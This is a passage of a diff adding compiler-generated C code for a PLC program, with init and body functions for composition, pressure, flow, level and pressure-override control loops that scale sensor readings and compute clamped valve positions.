__SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + 